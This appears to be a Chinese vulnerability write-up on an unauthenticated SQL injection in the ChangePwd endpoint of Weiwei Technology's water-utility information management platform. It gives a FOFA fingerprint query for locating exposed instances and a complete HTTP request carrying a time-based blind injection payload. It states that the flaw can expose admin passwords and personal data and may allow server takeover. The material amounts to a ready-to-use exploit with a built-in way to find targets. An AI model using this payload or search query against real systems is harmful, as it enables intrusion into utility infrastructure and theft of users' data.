W12-1潍微科技-水务信息管理平台-SQL

漏洞描述：

潍微科技-水务信息管理平台 ChangePwd 接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

网站图片：

网络测绘：

fofa语法：

FOFA：icon_hash="-491165370"

漏洞复现：

payload：

```
GET /Account/ChangePwd?oldpwd=123456&newpwd=123456&conpwd=123456&account=1%27;waitfor%20delay%20%270:0:5%27--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept-Encoding: gzip, deflate, br
Connection: close
```

效果图:
延时5秒